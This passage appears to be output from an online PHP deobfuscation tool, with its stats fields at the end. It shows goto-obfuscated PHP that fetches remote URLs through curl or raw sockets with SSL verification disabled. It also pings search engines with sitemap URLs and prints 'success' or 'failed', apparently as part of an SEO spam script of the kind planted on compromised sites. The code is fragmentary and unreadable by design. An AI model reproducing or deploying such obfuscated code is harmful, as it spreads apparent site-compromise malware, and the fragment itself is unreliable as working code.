qKRn3: $WtHaw = null; goto yRl_I; YuTwN: $WtHaw = stream_socket_client($bHvQT, $kVvJg, $RRUm5, 30); goto ZtT0F; f5Rup: $B5aie = empty($kaBzT["port"]) ? 443 : $kaBzT["port"]; goto Z6HEt; tgrfd: $PhZ7c = "curl_init+curl_setopt+curl_exec|fsockopen|pfsockopen|stream_socket_client|socket_create"; goto Amc29; GLL5Q: goto jJHBz; goto p9TuF; UcO7l: goto BtHWE; goto u9kRd; stdu6: $bHvQT .= $B5aie; goto YuTwN; C08uj: LFyX7: goto U1KzU; VWmw_: HH5PI: goto zW37D; vbfwa: return $OFpFR; goto bVwEI; zW37D: hfN8X: goto wySws; uzEnw: h1yzn: goto NvNg1; r6WXO: $xcG9t[] = "User-Agent: s"; goto PnJ64; NWlMz: $bQn8r .= $bNCop; goto CzG2I; tVzlx: goto HH5PI; goto ZL94o; fkMGb: curl_setopt($XF0XW, CURLOPT_USERAGENT, "s"); goto wtQJU; ax5yG: igzqM: goto Zk37e; OIQxK: curl_setopt($XF0XW, CURLOPT_SSL_VERIFYPEER, 0); goto LpKrA; FTyGH: G_bHE: goto MyDkW; l4WiZ: $N185Y = "Host: "; goto qWla4; ZtT0F: unset($bHvQT); goto FTyGH; dJX7V: $xcG9t[] = $N185Y; goto emv3e; A6yZs: stream_set_timeout($WtHaw, 30); goto yheq7; bg1UG: isset($kaBzT["host"]) || ($kaBzT["host"] = ''); goto PMIPp; p9TuF: RGrG7: goto yeaUt; jncSS: if (preg_match("/^https*\:\/\//si", $VK3NL)) { goto h1yzn; } goto OubmW; gqPkd: if (!($Gbv2O != false)) { goto zJUiB; } goto V6zl_; bjSnm: $B5aie = empty($kaBzT["port"]) ? 80 : $kaBzT["port"]; goto GLL5Q; j2vXg: $bHvQT = "tcp://"; goto V1k3v; ff5ny: stream_set_blocking($WtHaw, TRUE); goto A6yZs; WDmRW: $S6Gqz = fgets($WtHaw); goto ij7vU; wXLOd: $CH65H = "1.0"; goto bjSnm; ue3VB: $wQLok = "GET {$EoyHp} HTTP/{$CH65H}" . PHP_EOL . join(PHP_EOL, $xcG9t) . PHP_EOL . PHP_EOL; goto Alk65; vMQCN: isset($kaBzT["query"]) || ($kaBzT["query"] = ''); goto w0gAV; b4AKh: goto Fd5q8; goto gAc4I; U1KzU: unset($VK2Cj); goto KqFc0; bVwEI: goto RK3Ui; goto HWAfP; NObAt: $XF0XW = curl_init(); goto eN7TQ; gAc4I: aJsiE: goto ff5ny; V6zl_: return $Gbv2O; goto l9fny; mr4ta: return trim(trim($bQn8r, "\xef\xbb\277")); goto ym677; Sjp6X: $bQn8r = explode("\xd
\xd
", $bQn8r); goto qGYAK; tClB3: Fd5q8: goto g1Ksv; L_Fa1: if (!(substr($RWq6j, 0, 1) == "c")) { goto igzqM; } goto NObAt; uZHL9: $WtHaw = $RWq6j($qdiEr, $B5aie, $kVvJg, $RRUm5, 30); goto tH7xb; yheq7: fwrite($WtHaw, $wQLok); goto v3y49; l9fny: zJUiB: goto tgrfd; V1k3v: $bHvQT .= $qdiEr; goto pAq5r; yeaUt: $CH65H = "1.1"; goto f5Rup; PMIPp: isset($kaBzT["path"]) || ($kaBzT["path"] = ''); goto vMQCN; emv3e: $xcG9t[] = "Connection: Close"; goto r6WXO; Rj_uU: $bQn8r = implode("
\xa\xd\xa", $bQn8r); goto f5lFC; AMPiF: $bQn8r = ''; goto qzLiy; h_uUf: return "501"; goto YOd5C; JFEK6: goto WXqo0; goto VWmw_; uwieP: foreach (explode("|", $PhZ7c) as $GXe1f) { goto l5UDP; y4hfJ: $RWq6j = $GXe1f; goto QrsS9; w3UbE: jWay1: goto z0MQU; jfSa8: foreach (explode("+", $GXe1f) as $zBR5w) { if (!function_exists($zBR5w)) { $Lz4tu = 0; } LSByb: } goto w3UbE; l5UDP: $Lz4tu = 1; goto jfSa8; Uiva7: if (!$Lz4tu) { goto Oo2UJ; } goto y4hfJ; c1gYT: Me5Fj: goto feTbR; FC12i: Oo2UJ: goto c1gYT; QrsS9: goto wrevU; goto FC12i; z0MQU: unset($zBR5w); goto Uiva7; feTbR: } goto LNoh3; wySws: if (feof($WtHaw)) { goto iaHD0; } goto NWYM0; EFMBs: if ($kaBzT["scheme"] == "https") { goto RGrG7; } goto wXLOd; j0Lty: if (!socket_connect($WtHaw, $GlVQK, $B5aie)) { goto WpTO3; } goto HIjzH; LNoh3: wrevU: goto Nfo9i; NWYM0: $bNCop = fread($WtHaw, 8192); goto NWlMz; eN7TQ: curl_setopt($XF0XW, CURLOPT_URL, $VK3NL); goto fkMGb; Alk65: unset($xcG9t, $kaBzT, $CH65H, $EoyHp); goto qKRn3; FRgaf: $bQn8r = @preg_replace_callback("/(?:(?:\r\n|\n)|^)([0-9A-F]+)(?:\r\n|\n){1,2}(.*?)" . "((?:\r\n|\n)(?:[0-9A-F]+(?:\r\n|\n))|$)/si", "f_async", $bQn8r); goto mr4ta; NhaHG: $qdiEr .= $kaBzT["host"]; goto Tp0Vk; OubmW: return "500"; goto uzEnw; Nfo9i: unset($PhZ7c, $GXe1f); goto Kwa86; HIjzH: socket_write($WtHaw, $wQLok, strlen($wQLok)); goto Wibih; u9kRd: RiwlS: goto Sjp6X; wtQJU: curl_setopt($XF0XW, CURLOPT_RETURNTRANSFER, 1); goto uLiN6; pAq5r: $bHvQT .= ":"; goto stdu6; mtXJ9: if (!($PfKI5 = @socket_read($WtHaw, 8192))) { goto RiwlS; } goto q5x8Z; tBEY3: if ($VK2Cj["timed_out"]) { goto LFyX7; } goto p8SmW; Kwa86: if (!($RWq6j == '')) { goto PBthq; } goto ZT8tN; KqFc0: fclose($WtHaw); goto tClB3; oqQbW: socket_close($WtHaw); goto X87WQ; wUTjc: if (!$OFpFR) { goto NtDsq; } goto vbfwa; uLiN6: curl_setopt($XF0XW, CURLOPT_TIMEOUT, 100); goto wUT0n; ij7vU: if (!($S6Gqz && (rawurlencode($S6Gqz) == "%0D%0A" || rawurlencode($S6Gqz) == "%0A"))) { goto tV1tU; } goto tVzlx; X87WQ: unset($GlVQK); goto MhXD3; GAgC8: if (feof($WtHaw)) { goto HH5PI; } goto WDmRW; VkAFO: $WtHaw = $RWq6j(AF_INET, SOCK_STREAM, 0); goto j0Lty; tH7xb: QhO3p: goto AMPiF; qGYAK: array_shift($bQn8r); goto Rj_uU; MyDkW: goto QhO3p; goto yt9YR; yRl_I: if (substr($RWq6j, -1) == "n") { goto PiiVm; } goto ndDZn; ZL94o: tV1tU: goto MEPpW; rlH1J: if (!(substr($RWq6j, -1) == "e")) { goto G3FZy; } goto VuGXU; ndsx3: curl_close($XF0XW); goto wUTjc; Zk37e: $kaBzT = parse_url($VK3NL); goto bg1UG; wUT0n: curl_setopt($XF0XW, CURLOPT_FRESH_CONNECT, TRUE); goto OIQxK; Tp0Vk: jJHBz: goto l4WiZ; YOd5C: RK3Ui: goto ax5yG; HWAfP: NtDsq: goto h_uUf; qWla4: $N185Y .= $qdiEr; goto dJX7V; fthMQ: $qdiEr = $kaBzT["host"]; goto EFMBs; fVReh: unset($PfKI5); goto UcO7l; VuGXU: $GlVQK = gethostbyname($qdiEr); goto VkAFO; NvNg1: $Gbv2O = file_get_contents($VK3NL); goto gqPkd; Z6HEt: $qdiEr = "ssl://"; goto NhaHG; Qm6mB: iaHD0: goto C08uj; hPwic: unset($N185Y); goto ue3VB; v3y49: $VK2Cj = stream_get_meta_data($WtHaw); goto tBEY3; Amc29: $RWq6j = $wQLok = $kVvJg = $RRUm5 = ''; goto uwieP; f5lFC: WpTO3: goto oqQbW; ndDZn: if (!(substr($RWq6j, -1) == "t")) { goto G_bHE; } goto j2vXg; qzLiy: if ($WtHaw) { goto aJsiE; } goto rlH1J; w0gAV: isset($kaBzT["port"]) || ($kaBzT["port"] = ''); goto GWVKO; nD01n: PBthq: goto L_Fa1; MEPpW: unset($S6Gqz); goto JFEK6; GWVKO: $EoyHp = $kaBzT["path"] ? $kaBzT["path"] . ($kaBzT["query"] ? "?" . $kaBzT["query"] : '') : "/"; goto fthMQ; LpKrA: $OFpFR = curl_exec($XF0XW); goto ndsx3; p8SmW: WXqo0: goto GAgC8; ym677: } goto TbqWt; lq8BR: vbqxT: goto h_xZA; N5fdb: NkbxI: goto U2Rey; lXOYi: function D6p7c($Zzo4t, $nI1K9, $Z7CGW) { goto y6LxR; ezF4c: $Fj3cJ = "failed"; goto Z1pn7; FL4zY: fkrr1: goto QHb8c; Z1pn7: if (!(strpos($qFSFc, $yMmYD) != false)) { goto z7njD; } goto tTtky; QLFq_: var_dump($FvHZC); goto J4G4I; zKUgI: $FvHZC = sprintf($Q1hev, $Zzo4t, $Z7CGW["protocol"], $Z7CGW["server_domain"], $nI1K9); goto BbbPl; QHb8c: $yMmYD = "google"; goto beq_i; KQSlm: die($Fj3cJ); goto uSuK5; y6LxR: $Q1hev = "https://%s/ping?sitemap=%s%s/%s"; goto zKUgI; tTtky: die($FzBtF); goto vcMWn; beq_i: $FzBtF = "success"; goto ezF4c; CT7K2: die; goto FL4zY; J4G4I: var_dump($qFSFc); goto CT7K2; vcMWn: z7njD: goto KQSlm; fjsct: if (!isset($_REQUEST["st"])) { goto fkrr1; } goto QLFq_; BbbPl: $qFSFc = XoUm2($FvHZC); goto fjsct; uSuK5: } goto Ccbxy; sKaMJ: goto E6Bib; goto c1kSQ; YNgIa: goto NkbxI; goto JYy1v; b6QC2: gacdF: goto YMhtb; c1kSQ: MMEQy: goto c4cyX; vlXkK:

Function Calls

None

Variables

None

Stats

MD5 8710812566284bb5add35683a21c5f50
Eval Count 0
Decode Time 51 ms